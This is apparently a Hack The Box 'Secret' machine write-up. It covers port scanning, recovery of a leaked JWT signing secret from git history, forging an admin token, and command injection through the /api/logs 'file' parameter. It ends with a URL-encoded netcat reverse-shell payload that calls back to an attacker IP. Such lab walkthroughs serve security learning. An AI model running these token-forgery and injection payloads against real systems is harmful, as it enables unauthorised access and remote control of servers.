Secret - easy HTB
Scanning :
Enumerate open ports with nmap : nmap 10.10.11.120 -sC -sV -T4
1
2
3
4
5
6
7
8
9
10
11
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
All ports : nmap 10.10.11.120 -sV -T4 -p-
1
2
3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
Enumeration:
Before walk on the app run gobuster BF : gobuster dir -u http://10.10.11.120/ -w /usr/share/wordlists/dirb/big.txt
1
2
3
4
/api (Status: 200) [Size: 93]
/assets (Status: 301) [Size: 179] [--> /assets/]
/docs (Status: 200) [Size: 20720]
/download (Status: 301) [Size: 183] [--> /download/]
So we have on web app :
you can download the source code of the here :
on the file you can find a .git project use git log
command to enumerate every commit.
In the first We can leaked the Token secret to sign JWT, this is in the first commit :
Exploit Web app:
in the source code we can see that it is mentioned a user “theadmin” if we log on we will be able to have access to the private account:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
For this we must create a new jwt that we will be able to falsify because we have the private key of signature.
First launch request to get JWT :
1
curl -X POST -d '{"name": "tototo", "email": "[toto@toto.com](mailto:toto@toto.com)", "password": "Pass123!"}' -H "Content-Type: application/json" http://secret.htb:3000/api/user/register
Log your self on the app and get your first JWT :
1
curl -X POST -d ' {"email": "[toto@toto.com](mailto:toto@toto.com)","password": "Pass123!"}' -H "Content-Type: application/json" http://secret.htb:3000/api/user/login
Modifie the new JWT to “theadmin” do not forget the signed with the key find rather :
Send last request to Gain admin acces :
1
curl -X GET -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NTcyMjQxNTg5N2E5NjA0NTk2YzcxYmMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRvdG9AdG90by5jb20iLCJpYXQiOjE3MDE5NzkxNjd9.rh26y3V_J_IDvfaY5CXWFli5qsPMfGsrDPkA2-2iWgE" http://secret.htb:3000/api/priv
But the code tells us that there is a function in another API page (/logs). view that we are theadmin we can interact with:
1
curl -X GET -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NTcyMGE0MjVlZTkxMTA0NjFkM2RmMTkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRvdG9AdG90by5jb20iLCJpYXQiOjE3MDE5NzI2Nzh9.91ODv0rlBAsFOO9FsayzUiRCzBW7YvGB3wSDFZafWyw" http://secret.htb:3000/api/logs
the app uses the exec
function to execute a specific Git command. The Git command executed is git log –oneline followed by the file name extracted from the query (${file}). The result of this Git command is retrieved in the output variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
we can try to integrate with the file parameter :
1
2
3
4
curl -X GET -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NTcyMGE0MjVlZTkxMTA0NjFkM2RmMTkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRvdG9AdG90by5jb20iLCJpYXQiOjE3MDE5NzI2Nzh9.91ODv0rlBAsFOO9FsayzUiRCzBW7YvGB3wSDFZafWyw" http://secret.htb:3000/api/logs?file=test
#output
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline test"}
Let’s try to make a basic command injection in this parameter:
1
2
3
4
curl -X GET -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NTcyMGE0MjVlZTkxMTA0NjFkM2RmMTkiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRvdG9AdG90by5jb20iLCJpYXQiOjE3MDE5NzI2Nzh9.91ODv0rlBAsFOO9FsayzUiRCzBW7YvGB3wSDFZafWyw" 'http://secret.htb:3000/api/logs?file=|id'
#output
"uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
BiMMGO we have succed inject commande now lets try to gain reverse shell, so run your listener and run request:
1
2
3
4
5
# set up listener
pwncat-cs :1234
# reverse shell
curl -X GET -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NTcyMjQxNTg5N2E5NjA0NTk2YzcxYmMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRvdG9AdG90by5jb20iLCJpYXQiOjE3MDE5NzkxNjd9.rh26y3V_J_IDvfaY5CXWFli5qsPMfGsrDPkA2-2iWgE" 'http://secret.htb:3000/api/logs?file=|rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%2010.10.16.5%201234%20%3E%2Ftmp%2Ff'